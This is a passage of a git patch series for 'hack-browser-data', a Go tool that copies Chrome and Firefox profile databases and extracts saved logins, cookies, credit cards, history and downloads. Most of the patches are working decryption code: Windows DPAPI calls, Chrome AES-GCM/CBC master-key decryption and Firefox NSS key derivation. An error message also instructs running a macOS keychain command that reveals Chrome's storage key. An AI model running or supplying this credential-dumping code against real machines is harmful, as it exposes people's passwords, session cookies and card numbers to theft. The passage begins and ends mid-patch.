+ "hack-browser-data/pkg/browser/consts"
+ "hack-browser-data/utils"
+)
+
+type ChromiumHistory []history
+
+func (c *ChromiumHistory) Parse(masterKey []byte) error {
+ historyDB, err := sql.Open("sqlite3", consts.ChromiumHistoryFilename)
+ if err != nil {
+ return err
+ }
+ defer historyDB.Close()
+ rows, err := historyDB.Query(queryChromiumHistory)
+ if err != nil {
+ return err
+ }
+ defer rows.Close()
+ for rows.Next() {
+ var (
+ url, title string
+ visitCount int
+ lastVisitTime int64
+ )
+ // TODO: handle rows error
+ if err := rows.Scan(&url, &title, &visitCount, &lastVisitTime); err != nil {
+ fmt.Println(err)
+ }
+ data := history{
+ Url: url,
+ Title: title,
+ VisitCount: visitCount,
+ LastVisitTime: utils.TimeEpochFormat(lastVisitTime),
+ }
+ *c = append(*c, data)
+ }
+ sort.Slice(*c, func(i, j int) bool {
+ return (*c)[i].VisitCount > (*c)[j].VisitCount
+ })
+ return nil
+}
+
+func (c *ChromiumHistory) Name() string {
+ return "history"
+}
diff --git a/pkg/browser/data/model.go b/pkg/browser/data/model.go
new file mode 100644
index 0000000..103eba3
--- /dev/null
+++ b/pkg/browser/data/model.go
@@ -0,0 +1,72 @@
+package data
+
+import (
+ "time"
+)
+
+const (
+ queryChromiumCredit = `SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards`
+ queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
+ queryChromiumHistory = `SELECT url, title, visit_count, last_visit_time FROM urls`
+ queryChromiumDownload = `SELECT target_path, tab_url, total_bytes, start_time, end_time, mime_type FROM downloads`
+ queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies`
+ queryFirefoxHistory = `SELECT id, url, last_visit_date, title, visit_count FROM moz_places where title not null`
+ queryFirefoxDownload = `SELECT place_id, GROUP_CONCAT(content), url, dateAdded FROM (SELECT * FROM moz_annos INNER JOIN moz_places ON moz_annos.place_id=moz_places.id) t GROUP BY place_id`
+ queryFirefoxBookMark = `SELECT id, url, type, dateAdded, title FROM (SELECT * FROM moz_bookmarks INNER JOIN moz_places ON moz_bookmarks.fk=moz_places.id)`
+ queryFirefoxCookie = `SELECT name, value, host, path, creationTime, expiry, isSecure, isHttpOnly FROM moz_cookies`
+ queryMetaData = `SELECT item1, item2 FROM metaData WHERE id = 'password'`
+ queryNssPrivate = `SELECT a11, a102 from nssPrivate`
+ closeJournalMode = `PRAGMA journal_mode=off`
+)
+
+type (
+ loginData struct {
+ UserName string
+ encryptPass []byte
+ encryptUser []byte
+ Password string
+ LoginUrl string
+ CreateDate time.Time
+ }
+ bookmark struct {
+ ID int64
+ Name string
+ Type string
+ URL string
+ DateAdded time.Time
+ }
+ cookie struct {
+ Host string
+ Path string
+ KeyName string
+ encryptValue []byte
+ Value string
+ IsSecure bool
+ IsHTTPOnly bool
+ HasExpire bool
+ IsPersistent bool
+ CreateDate time.Time
+ ExpireDate time.Time
+ }
+ history struct {
+ Title string
+ Url string
+ VisitCount int
+ LastVisitTime time.Time
+ }
+ download struct {
+ TargetPath string
+ Url string
+ TotalBytes int64
+ StartTime time.Time
+ EndTime time.Time
+ MimeType string
+ }
+ card struct {
+ GUID string
+ Name string
+ ExpirationYear string
+ ExpirationMonth string
+ CardNumber string
+ }
+)
diff --git a/pkg/browser/data/password.go b/pkg/browser/data/password.go
new file mode 100644
index 0000000..4526fd4
--- /dev/null
+++ b/pkg/browser/data/password.go
@@ -0,0 +1,81 @@
+package data
+
+import (
+ "database/sql"
+ "fmt"
+ "sort"
+ "time"
+
+ "hack-browser-data/pkg/browser/consts"
+ "hack-browser-data/pkg/decrypter"
+ "hack-browser-data/utils"
+
+ _ "github.com/mattn/go-sqlite3"
+)
+
+type ChromiumPassword []loginData
+
+func (c *ChromiumPassword) Parse(masterKey []byte) error {
+ loginDB, err := sql.Open("sqlite3", consts.ChromiumPasswordFilename)
+ if err != nil {
+ return err
+ }
+ defer loginDB.Close()
+ rows, err := loginDB.Query(queryChromiumLogin)
+ if err != nil {
+ return err
+ }
+ defer rows.Close()
+
+ for rows.Next() {
+ var (
+ url, username string
+ pwd, password []byte
+ create int64
+ )
+ if err := rows.Scan(&url, &username, &pwd, &create); err != nil {
+ fmt.Println(err)
+ }
+ login := loginData{
+ UserName: username,
+ encryptPass: pwd,
+ LoginUrl: url,
+ }
+ if len(pwd) > 0 {
+ if masterKey == nil {
+ password, err = decrypter.DPApi(pwd)
+ if err != nil {
+ fmt.Println(err)
+ }
+ } else {
+ password, err = decrypter.ChromePass(masterKey, pwd)
+ if err != nil {
+ fmt.Println(err)
+ }
+ }
+ }
+ if create > time.Now().Unix() {
+ login.CreateDate = utils.TimeEpochFormat(create)
+ } else {
+ login.CreateDate = utils.TimeStampFormat(create)
+ }
+ login.Password = string(password)
+ *c = append(*c, login)
+ }
+ // sort with create date
+ sort.Slice(*c, func(i, j int) bool {
+ return (*c)[i].CreateDate.After((*c)[j].CreateDate)
+ })
+ return nil
+}
+
+func (c *ChromiumPassword) Name() string {
+ return "password"
+}
+
+type firefoxPassword struct {
+}
+
+func (c *firefoxPassword) Parse(masterKey []byte) error {
+ return nil
+}
diff --git a/pkg/browser/item.go b/pkg/browser/item.go
new file mode 100644
index 0000000..99450dc
--- /dev/null
+++ b/pkg/browser/item.go
@@ -0,0 +1,117 @@
+package browser
+
+import (
+ "hack-browser-data/pkg/browser/consts"
+ "hack-browser-data/pkg/browser/data"
+)
+
+type item int
+
+const (
+ chromiumKey item = iota
+ chromiumPassword
+ chromiumCookie
+ chromiumBookmark
+ chromiumHistory
+ chromiumDownload
+ chromiumCreditcard
+ chromiumLocalStorage
+ chromiumExtension
+
+ firefoxKey4
+ firefoxPassword
+ firefoxCookie
+ firefoxBookmark
+ firefoxHistory
+ firefoxDownload
+ firefoxCreditcard
+ firefoxLocalStorage
+ firefoxExtension
+)
+
+func (i item) DefaultName() string {
+ switch i {
+ case chromiumKey:
+ return consts.ChromiumKey
+ case chromiumPassword:
+ return consts.ChromiumPassword
+ case chromiumCookie:
+ return consts.ChromiumCookie
+ case chromiumBookmark:
+ return consts.ChromiumBookmark
+ case chromiumDownload:
+ return consts.ChromiumDownload
+ case chromiumLocalStorage:
+ return consts.ChromiumLocalStorage
+ case chromiumCreditcard:
+ return consts.ChromiumCredit
+ case chromiumExtension:
+ return "unsupport item"
+ case chromiumHistory:
+ return consts.ChromiumHistory
+ case firefoxPassword:
+ return consts.FirefoxLogin
+ case firefoxCookie:
+ return consts.FirefoxData
+ default:
+ return "unknown item"
+ }
+}
+
+func (i item) FileName() string {
+ switch i {
+ case chromiumKey:
+ return consts.ChromiumKeyFilename
+ case chromiumPassword:
+ return consts.ChromiumPasswordFilename
+ case chromiumCookie:
+ return consts.ChromiumCookieFilename
+ case chromiumBookmark:
+ return consts.ChromiumBookmarkFilename
+ case chromiumDownload:
+ return consts.ChromiumDownloadFilename
+ case chromiumLocalStorage:
+ return consts.ChromiumLocalStorageFilename
+ case chromiumCreditcard:
+ return consts.ChromiumCreditFilename
+ case chromiumExtension:
+ return "unsupport item"
+ case chromiumHistory:
+ return consts.ChromiumHistoryFilename
+ case firefoxPassword:
+ return consts.FirefoxLoginFilename
+ case firefoxCookie:
+ return consts.FirefoxDataFilename
+ default:
+ return "unknown item"
+ }
+}
+
+func (i item) NewBrowsingData() data.BrowsingData {
+ switch i {
+ case chromiumKey:
+ return nil
+ case chromiumPassword:
+ return &data.ChromiumPassword{}
+ case chromiumCookie:
+ return &data.ChromiumCookie{}
+ case chromiumBookmark:
+ return &data.ChromiumBookmark{}
+ case chromiumDownload:
+ return &data.ChromiumDownload{}
+ case chromiumLocalStorage:
+ return nil
+ case chromiumCreditcard:
+ return &data.ChromiumCreditCard{}
+ case chromiumExtension:
+ return nil
+ case chromiumHistory:
+ return &data.ChromiumHistory{}
+ case firefoxPassword:
+ return nil
+ case firefoxCookie:
+ return nil
+ default:
+ return nil
+ }
+}
diff --git a/pkg/browser/outputter/outputter.go b/pkg/browser/outputter/outputter.go
new file mode 100644
index 0000000..9e57a3c
--- /dev/null
+++ b/pkg/browser/outputter/outputter.go
@@ -0,0 +1,81 @@
+package outputter
+
+import (
+ "encoding/csv"
+ "errors"
+ "fmt"
+ "io"
+ "os"
+ "path/filepath"
+
+ "github.com/gocarina/gocsv"
+ jsoniter "github.com/json-iterator/go"
+
+ "hack-browser-data/pkg/browser/data"
+)
+
+type outPutter struct {
+ json bool
+ csv bool
+}
+
+func NewOutPutter(flag string) *outPutter {
+ o := &outPutter{}
+ if flag == "json" {
+ o.json = true
+ } else {
+ o.csv = true
+ }
+ return o
+}
+
+func (o *outPutter) MakeDir(dir string) error {
+ if _, err := os.Stat(dir); os.IsNotExist(err) {
+ return os.Mkdir(dir, 0777)
+ }
+ return nil
+}
+
+func (o *outPutter) Write(data data.BrowsingData, writer *os.File) error {
+ switch o.json {
+ case true:
+ encoder := jsoniter.NewEncoder(writer)
+ encoder.SetIndent(" ", " ")
+ encoder.SetEscapeHTML(false)
+ return encoder.Encode(data)
+ default:
+ gocsv.SetCSVWriter(func(w io.Writer) *gocsv.SafeCSVWriter {
+ writer := csv.NewWriter(w)
+ writer.Comma = ','
+ return gocsv.NewSafeCSVWriter(writer)
+ })
+ return gocsv.MarshalFile(data, writer)
+ }
+}
+
+func (o *outPutter) CreateFile(dirname, filename string) (*os.File, error) {
+ if filename == "" {
+ return nil, errors.New("empty filename")
+ }
+
+ dir := filepath.Dir(filename)
+
+ if dir != "" {
+ if _, err := os.Stat(dir); os.IsNotExist(err) {
+ err := os.MkdirAll(dir, 0777)
+ if err != nil {
+ return nil, err
+ }
+ }
+ }
+
+ var file *os.File
+ var err error
+ p := filepath.Join(dirname, filename)
+ file, err = os.OpenFile(p, os.O_TRUNC|os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0666)
+ fmt.Println(err)
+ if err != nil {
+ return nil, err
+ }
+ return file, nil
+}
diff --git a/pkg/decrypter/decrypt.go b/pkg/decrypter/decrypt.go
new file mode 100644
index 0000000..27eb327
--- /dev/null
+++ b/pkg/decrypter/decrypt.go
@@ -0,0 +1,214 @@
+package decrypter
+
+import (
+ "crypto/aes"
+ "crypto/cipher"
+ "crypto/des"
+ "crypto/hmac"
+ "crypto/sha1"
+ "crypto/sha256"
+ "encoding/asn1"
+ "errors"
+
+ "golang.org/x/crypto/pbkdf2"
+)
+
+var (
+ errSecurityKeyIsEmpty = errors.New("input [security find-generic-password -wa 'Chrome'] in terminal")
+ errPasswordIsEmpty = errors.New("password is empty")
+ errDecryptFailed = errors.New("decrypter encrypt value failed")
+ errDecodeASN1Failed = errors.New("decode ASN1 data failed")
+ errEncryptedLength = errors.New("length of encrypted password less than block size")
+)
+
+type ASN1PBE interface {
+ Decrypt(globalSalt, masterPwd []byte) (key []byte, err error)
+}
+
+func NewASN1PBE(b []byte) (pbe ASN1PBE, err error) {
+ var (
+ n NssPBE
+ m MetaPBE
+ l LoginPBE
+ )
+ if _, err := asn1.Unmarshal(b, &n); err == nil {
+ return n, nil
+ }
+ if _, err := asn1.Unmarshal(b, &m); err == nil {
+ return m, nil
+ }
+ if _, err := asn1.Unmarshal(b, &l); err == nil {
+ return l, nil
+ }
+ return nil, errDecodeASN1Failed
+}
+
+// NssPBE Struct
+// SEQUENCE (2 elem)
+// SEQUENCE (2 elem)
+// OBJECT IDENTIFIER
+// SEQUENCE (2 elem)
+// OCTET STRING (20 byte)
+// INTEGER 1
+// OCTET STRING (16 byte)
+type NssPBE struct {
+ NssSequenceA
+ Encrypted []byte
+}
+
+type NssSequenceA struct {
+ DecryptMethod asn1.ObjectIdentifier
+ NssSequenceB
+}
+
+type NssSequenceB struct {
+ EntrySalt []byte
+ Len int
+}
+
+func (n NssPBE) Decrypt(globalSalt, masterPwd []byte) (key []byte, err error) {
+ glmp := append(globalSalt, masterPwd...)
+ hp := sha1.Sum(glmp)
+ s := append(hp[:], n.EntrySalt...)
+ chp := sha1.Sum(s)
+ pes := paddingZero(n.EntrySalt, 20)
+ tk := hmac.New(sha1.New, chp[:])
+ tk.Write(pes)
+ pes = append(pes, n.EntrySalt...)
+ k1 := hmac.New(sha1.New, chp[:])
+ k1.Write(pes)
+ tkPlus := append(tk.Sum(nil), n.EntrySalt...)
+ k2 := hmac.New(sha1.New, chp[:])
+ k2.Write(tkPlus)
+ k := append(k1.Sum(nil), k2.Sum(nil)...)
+ iv := k[len(k)-8:]
+ return des3Decrypt(k[:24], iv, n.Encrypted)
+}
+
+// MetaPBE Struct
+// SEQUENCE (2 elem)
+// SEQUENCE (2 elem)
+// OBJECT IDENTIFIER
+// SEQUENCE (2 elem)
+// SEQUENCE (2 elem)
+// OBJECT IDENTIFIER
+// SEQUENCE (4 elem)
+// OCTET STRING (32 byte)
+// INTEGER 1
+// INTEGER 32
+// SEQUENCE (1 elem)
+// OBJECT IDENTIFIER
+// SEQUENCE (2 elem)
+// OBJECT IDENTIFIER
+// OCTET STRING (14 byte)
+// OCTET STRING (16 byte)
+type MetaPBE struct {
+ MetaSequenceA
+ Encrypted []byte
+}
+
+type MetaSequenceA struct {
+ PKCS5PBES2 asn1.ObjectIdentifier
+ MetaSequenceB
+}
+type MetaSequenceB struct {
+ MetaSequenceC
+ MetaSequenceD
+}
+
+type MetaSequenceC struct {
+ PKCS5PBKDF2 asn1.ObjectIdentifier
+ MetaSequenceE
+}
+
+type MetaSequenceD struct {
+ AES256CBC asn1.ObjectIdentifier
+ IV []byte
+}
+
+type MetaSequenceE struct {
+ EntrySalt []byte
+ IterationCount int
+ KeySize int
+ MetaSequenceF
+}
+
+type MetaSequenceF struct {
+ HMACWithSHA256 asn1.ObjectIdentifier
+}
+
+func (m MetaPBE) Decrypt(globalSalt, masterPwd []byte) (key2 []byte, err error) {
+ k := sha1.Sum(globalSalt)
+ key := pbkdf2.Key(k[:], m.EntrySalt, m.IterationCount, m.KeySize, sha256.New)
+ iv := append([]byte{4, 14}, m.IV...)
+ return aes128CBCDecrypt(key, iv, m.Encrypted)
+}
+
+// LoginPBE Struct
+// SEQUENCE (3 elem)
+// OCTET STRING (16 byte)
+// SEQUENCE (2 elem)
+// OBJECT IDENTIFIER
+// OCTET STRING (8 byte)
+// OCTET STRING (16 byte)
+type LoginPBE struct {
+ CipherText []byte
+ LoginSequence
+ Encrypted []byte
+}
+
+type LoginSequence struct {
+ asn1.ObjectIdentifier
+ IV []byte
+}
+
+func (l LoginPBE) Decrypt(globalSalt, masterPwd []byte) (key []byte, err error) {
+ return des3Decrypt(globalSalt, l.IV, l.Encrypted)
+}
+
+func aes128CBCDecrypt(key, iv, encryptPass []byte) ([]byte, error) {
+ block, err := aes.NewCipher(key)
+ if err != nil {
+ return nil, err
+ }
+ encryptLen := len(encryptPass)
+ if encryptLen < block.BlockSize() {
+ return nil, errEncryptedLength
+ }
+
+ dst := make([]byte, encryptLen)
+ mode := cipher.NewCBCDecrypter(block, iv)
+ mode.CryptBlocks(dst, encryptPass)
+ dst = PKCS5UnPadding(dst)
+ return dst, nil
+}
+
+func PKCS5UnPadding(src []byte) []byte {
+ length := len(src)
+ unpad := int(src[length-1])
+ return src[:(length - unpad)]
+}
+
+// des3Decrypt use for decrypter firefox PBE
+func des3Decrypt(key, iv []byte, src []byte) ([]byte, error) {
+ block, err := des.NewTripleDESCipher(key)
+ if err != nil {
+ return nil, err
+ }
+ blockMode := cipher.NewCBCDecrypter(block, iv)
+ sq := make([]byte, len(src))
+ blockMode.CryptBlocks(sq, src)
+ return sq, nil
+}
+
+func paddingZero(s []byte, l int) []byte {
+ h := l - len(s)
+ if h <= 0 {
+ return s
+ } else {
+ for i := len(s); i < l; i++ {
+ s = append(s, 0)
+ }
+ return s
+ }
+}
diff --git a/pkg/decrypter/decrypt_darwin.go b/pkg/decrypter/decrypt_darwin.go
new file mode 100644
index 0000000..24496c5
--- /dev/null
+++ b/pkg/decrypter/decrypt_darwin.go
@@ -0,0 +1,17 @@
+package decrypter
+
+func ChromePass(key, encryptPass []byte) ([]byte, error) {
+ if len(encryptPass) > 3 {
+ if len(key) == 0 {
+ return nil, errSecurityKeyIsEmpty
+ }
+ var chromeIV = []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32}
+ return aes128CBCDecrypt(key, chromeIV, encryptPass[3:])
+ } else {
+ return nil, errDecryptFailed
+ }
+}
+
+func DPApi(data []byte) ([]byte, error) {
+ return nil, nil
+}
diff --git a/pkg/decrypter/decrypt_linux.go b/pkg/decrypter/decrypt_linux.go
new file mode 100644
index 0000000..a56a46e
--- /dev/null
+++ b/pkg/decrypter/decrypt_linux.go
@@ -0,0 +1,17 @@
+package decrypter
+
+func ChromePass(key, encryptPass []byte) ([]byte, error) {
+ var chromeIV = []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32}
+ if len(encryptPass) > 3 {
+ if len(key) == 0 {
+ return nil, errSecurityKeyIsEmpty
+ }
+ return aes128CBCDecrypt(key, chromeIV, encryptPass[3:])
+ } else {
+ return nil, errDecryptFailed
+ }
+}
+
+func DPApi(data []byte) ([]byte, error) {
+ return nil, nil
+}
diff --git a/pkg/decrypter/decrypt_windows.go b/pkg/decrypter/decrypt_windows.go
new file mode 100644
index 0000000..4b8aaec
--- /dev/null
+++ b/pkg/decrypter/decrypt_windows.go
@@ -0,0 +1,70 @@
+package decrypter
+
+import (
+ "crypto/aes"
+ "crypto/cipher"
+ "syscall"
+ "unsafe"
+)
+
+func ChromePass(key, encryptPass []byte) ([]byte, error) {
+ if len(encryptPass) > 15 {
+ // remove Prefix 'v10'
+ return aesGCMDecrypt(encryptPass[15:], key, encryptPass[3:15])
+ } else {
+ return nil, errPasswordIsEmpty
+ }
+}
+
+// chromium > 80 https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_win.cc
+func aesGCMDecrypt(crypted, key, nounce []byte) ([]byte, error) {
+ block, err := aes.NewCipher(key)
+ if err != nil {
+ return nil, err
+ }
+ blockMode, err := cipher.NewGCM(block)
+ if err != nil {
+ return nil, err
+ }
+ origData, err := blockMode.Open(nil, nounce, crypted, nil)
+ if err != nil {
+ return nil, err
+ }
+ return origData, nil
+}
+
+type dataBlob struct {
+ cbData uint32
+ pbData *byte
+}
+
+func NewBlob(d []byte) *dataBlob {
+ if len(d) == 0 {
+ return &dataBlob{}
+ }
+ return &dataBlob{
+ pbData: &d[0],
+ cbData: uint32(len(d)),
+ }
+}
+
+func (b *dataBlob) ToByteArray() []byte {
+ d := make([]byte, b.cbData)
+ copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
+ return d
+}
+
+// chrome < 80 https://chromium.googlesource.com/chromium/src/+/76f496a7235c3432983421402951d73905c8be96/components/os_crypt/os_crypt_win.cc#82
+func DPApi(data []byte) ([]byte, error) {
+ dllCrypt := syscall.NewLazyDLL("Crypt32.dll")
+ dllKernel := syscall.NewLazyDLL("Kernel32.dll")
+ procDecryptData := dllCrypt.NewProc("CryptUnprotectData")
+ procLocalFree := dllKernel.NewProc("LocalFree")
+ var outBlob dataBlob
+ r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob)))
+ if r == 0 {
+ return nil, err
+ }
+ defer procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData)))
+ return outBlob.ToByteArray(), nil
+}
diff --git a/log/log.go b/pkg/log/log.go
similarity index 100%
rename from log/log.go
rename to pkg/log/log.go
From f9904277fd266c97c639bf24130cdf07a81ad97c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?=
Date: Fri, 31 Dec 2021 16:51:28 +0800
Subject: [PATCH 06/33] dev-feat: format old code
---
cmd/cmd.go | 2 +-
cmd/hackbrowserdata/main.go | 1 +
core/browser.go | 2 +-
core/browser_linux.go | 4 ++--
core/data/parse.go | 8 ++++----
core/decrypt/decrypt.go | 4 ++--
6 files changed, 11 insertions(+), 10 deletions(-)
create mode 100644 cmd/hackbrowserdata/main.go
diff --git a/cmd/cmd.go b/cmd/cmd.go
index d38c627..1754145 100644
--- a/cmd/cmd.go
+++ b/cmd/cmd.go
@@ -5,7 +5,7 @@ import (
"strings"
"hack-browser-data/core"
- "hack-browser-data/log"
+ "hack-browser-data/pkg/log"
"hack-browser-data/utils"
"github.com/urfave/cli/v2"
diff --git a/cmd/hackbrowserdata/main.go b/cmd/hackbrowserdata/main.go
new file mode 100644
index 0000000..190ebe2
--- /dev/null
+++ b/cmd/hackbrowserdata/main.go
@@ -0,0 +1 @@
+package hackbrowserdata
diff --git a/core/browser.go b/core/browser.go
index 63eb97f..4ab36ab 100644
--- a/core/browser.go
+++ b/core/browser.go
@@ -8,7 +8,7 @@ import (
"strings"
"hack-browser-data/core/data"
- "hack-browser-data/log"
+ "hack-browser-data/pkg/log"
)
const (
diff --git a/core/browser_linux.go b/core/browser_linux.go
index 80eae05..6d2a264 100644
--- a/core/browser_linux.go
+++ b/core/browser_linux.go
@@ -3,11 +3,11 @@ package core
import (
"crypto/sha1"
- "hack-browser-data/log"
-
"github.com/godbus/dbus/v5"
keyring "github.com/ppacher/go-dbus-keyring"
"golang.org/x/crypto/pbkdf2"
+
+ "hack-browser-data/pkg/log"
)
const (
diff --git a/core/data/parse.go b/core/data/parse.go
index 332ea1d..992c82d 100644
--- a/core/data/parse.go
+++ b/core/data/parse.go
@@ -12,7 +12,7 @@ import (
"time"
"hack-browser-data/core/decrypt"
- "hack-browser-data/log"
+ "hack-browser-data/pkg/log"
"hack-browser-data/utils"
_ "github.com/mattn/go-sqlite3"
@@ -657,14 +657,14 @@ func (p *passwords) FirefoxParse() error {
keyLin := []byte{248, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1}
metaPBE, err := decrypt.NewASN1PBE(metaBytes)
if err != nil {
- log.Error("decrypt meta data failed", err)
+ log.Error("decrypter meta data failed", err)
return err
}
// default master password is empty
var masterPwd []byte
k, err := metaPBE.Decrypt(globalSalt, masterPwd)
if err != nil {
- log.Error("decrypt firefox meta bytes failed", err)
+ log.Error("decrypter firefox meta bytes failed", err)
return err
}
if bytes.Contains(k, []byte("password-check")) {
@@ -703,7 +703,7 @@ func (p *passwords) FirefoxParse() error {
if err != nil {
log.Error(err)
}
- log.Debug("decrypt firefox success")
+ log.Debug("decrypter firefox success")
p.logins = append(p.logins, loginData{
LoginUrl: v.LoginUrl,
UserName: string(decrypt.PKCS5UnPadding(user)),
diff --git a/core/decrypt/decrypt.go b/core/decrypt/decrypt.go
index 52af0ce..82740f8 100644
--- a/core/decrypt/decrypt.go
+++ b/core/decrypt/decrypt.go
@@ -16,7 +16,7 @@ import (
var (
errSecurityKeyIsEmpty = errors.New("input [security find-generic-password -wa 'Chrome'] in terminal")
errPasswordIsEmpty = errors.New("password is empty")
- errDecryptFailed = errors.New("decrypt encrypt value failed")
+ errDecryptFailed = errors.New("decrypter encrypt value failed")
errDecodeASN1Failed = errors.New("decode ASN1 data failed")
errEncryptedLength = errors.New("length of encrypted password less than block size")
)
@@ -189,7 +189,7 @@ func PKCS5UnPadding(src []byte) []byte {
return src[:(length - unpad)]
}
-// des3Decrypt use for decrypt firefox PBE
+// des3Decrypt use for decrypter firefox PBE
func des3Decrypt(key, iv []byte, src []byte) ([]byte, error) {
block, err := des.NewTripleDESCipher(key)
if err != nil {
From 9ba87962a67400f4291882d92067e5d9ca94d911 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?=
Date: Fri, 31 Dec 2021 16:52:10 +0800
Subject: [PATCH 07/33] refactor-dev: rename imported log path name
---
utils/utils.go | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/utils/utils.go b/utils/utils.go
index b5e9c98..060ac62 100644
--- a/utils/utils.go
+++ b/utils/utils.go
@@ -10,7 +10,7 @@ import (
"strings"
"time"
- "hack-browser-data/log"
+ "hack-browser-data/pkg/log"
)
const Prefix = "[x]: "
From 88fe9c96dbdbccb97352a710c180ac12541f18c9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?=
Date: Tue, 11 Jan 2022 18:19:17 +0800
Subject: [PATCH 08/33] feat: support firefox for mac
---
pkg/browser/browser.go | 225 ++++++++++++++++++++++++++++---
pkg/browser/browser_darwin.go | 34 +++--
pkg/browser/browser_test.go | 44 +++++-
pkg/browser/consts/filename.go | 24 ++--
pkg/browser/data/bookmark.go | 48 +++++++
pkg/browser/data/browsingdata.go | 69 ++++++++++
pkg/browser/data/cookie.go | 42 ++++++
pkg/browser/data/creditcard.go | 2 +
pkg/browser/data/download.go | 60 +++++++++
pkg/browser/data/history.go | 50 +++++++
pkg/browser/data/model.go | 72 ----------
pkg/browser/data/password.go | 123 ++++++++++++++++-
pkg/browser/item.go | 71 +++++++---
13 files changed, 726 insertions(+), 138 deletions(-)
delete mode 100644 pkg/browser/data/model.go
diff --git a/pkg/browser/browser.go b/pkg/browser/browser.go
index 5173fe7..2e2a63c 100644
--- a/pkg/browser/browser.go
+++ b/pkg/browser/browser.go
@@ -2,6 +2,7 @@ package browser
import (
"fmt"
+ "io/fs"
"io/ioutil"
"os"
"path"
@@ -16,29 +17,60 @@ var (
homeDir, _ = os.UserHomeDir()
)
-func PickBrowsers(name string) []*chromium {
+func PickBrowsers(name string) {
+
+}
+
+func PickChromium(name string) []*chromium {
var browsers []*chromium
name = strings.ToLower(name)
if name == "all" {
- for _, v := range browserList {
- b := v.New(v.browserInfo, v.items)
+ for _, choice := range chromiumList {
+ b, err := newChromium(choice.browserInfo, choice.items)
+ if err != nil {
+ panic(err)
+ }
browsers = append(browsers, b)
}
return browsers
}
- if choice, ok := browserList[name]; ok {
- b := choice.New(choice.browserInfo, choice.items)
+ if choice, ok := chromiumList[name]; ok {
+ b, err := newChromium(choice.browserInfo, choice.items)
+ if err != nil {
+ panic(err)
+ }
browsers = append(browsers, b)
return browsers
}
return nil
}
+func PickFirefox(name string) []*firefox {
+ var browsers []*firefox
+ name = strings.ToLower(name)
+ if name == "all" || name == "firefox" {
+ for _, v := range firefoxList {
+ b, err := newFirefox(v.browserInfo, v.items)
+ if err != nil {
+ panic(err)
+ }
+ // b := v.New(v.browserInfo, v.items)
+ browsers = append(browsers, b...)
+ }
+ return browsers
+ }
+ // if choice, ok := browserList[name]; ok {
+ // b := choice.New(choice.browserInfo, choice.items)
+ // browsers = append(browsers, b)
+ // return browsers
+ // }
+ return nil
+}
+
type chromium struct {
browserInfo *browserInfo
items []item
itemPaths map[item]string
- masterKey []byte
}
func (c *chromium) GetProfilePath() string {
@@ -54,18 +86,136 @@ func (c *chromium) GetBrowserName() string {
}
type firefox struct {
- browserInfo *browserInfo
- items []item
- itemPaths map[item]string
- masterKey []byte
+ browserInfo *browserInfo
+ items []item
+ itemPaths map[item]string
+ multiItemPaths map[string]map[item]string
}
// NewBrowser 根据浏览器信息生成 Browser Interface
-func newBrowser(browserInfo *browserInfo, items []item) *chromium {
- return &chromium{
- browserInfo: browserInfo,
+func newChromium(info *browserInfo, items []item) (*chromium, error) {
+ c := &chromium{
+ browserInfo: info,
items: items,
}
+ itemsPaths, err := getChromiumItemAbsPath(c.browserInfo.profilePath, c.items)
+ if err != nil {
+ return nil, err
+ }
+ c.itemPaths = itemsPaths
+ return c, err
+}
+
+// newFirefox
+func newFirefox(info *browserInfo, items []item) ([]*firefox, error) {
+ f := &firefox{
+ browserInfo: info,
+ items: items,
+ }
+ multiItemPaths, err := getFirefoxItemAbsPath(f.browserInfo.profilePath, f.items)
+ if err != nil {
+ panic(err)
+ }
+ var firefoxList []*firefox
+ for name, value := range multiItemPaths {
+ firefoxList = append(firefoxList, &firefox{
+ browserInfo: &browserInfo{
+ name: name,
+ masterKey: nil,
+ },
+ items: items,
+ itemPaths: value,
+ // multiItemPaths: value,
+ })
+ }
+ return firefoxList, nil
+}
+
+func getFirefoxItemAbsPath(profilePath string, items []item) (map[string]map[item]string, error) {
+ var multiItemPaths = make(map[string]map[item]string)
+ absProfilePath := path.Join(homeDir, filepath.Clean(profilePath))
+ err := filepath.Walk(absProfilePath, firefoxWalkFunc(items, multiItemPaths))
+ return multiItemPaths, err
+}
+
+func (f *firefox) copyItemFileToLocal() error {
+ for item, sourcePath := range f.itemPaths {
+ var dstFilename = item.FileName()
+ locals, _ := filepath.Glob("*")
+ for _, v := range locals {
+ if v == dstFilename {
+ err := os.Remove(dstFilename)
+ // TODO: Should Continue all iteration error
+ if err != nil {
+ return err
+ }
+ }
+ }
+
+ // TODO: Handle read file name error
+ sourceFile, err := ioutil.ReadFile(sourcePath)
+ if err != nil {
+ fmt.Println(err.Error())
+ }
+ err = ioutil.WriteFile(dstFilename, sourceFile, 0777)
+ if err != nil {
+ return err
+ }
+ }
+ return nil
+ // for name, itemPaths := range f.multiItemPaths {
+ // for item, path := range itemPaths {
+ // var dstFilename = item.FileName()
+ // locals, _ := filepath.Glob("*")
+ // for _, v := range locals {
+ // if v == dstFilename {
+ // // TODO: Should Continue all iteration error
+ // err := os.Remove(dstFilename)
+ // if err != nil {
+ // return err
+ // }
+ // }
+ // }
+ // }
+ // // if v == dstFilename {
+ // // err := os.Remove(dstFilename)
+ // // if err != nil {
+ // // return err
+ // // }
+ // // }
+ // // }
+ // //
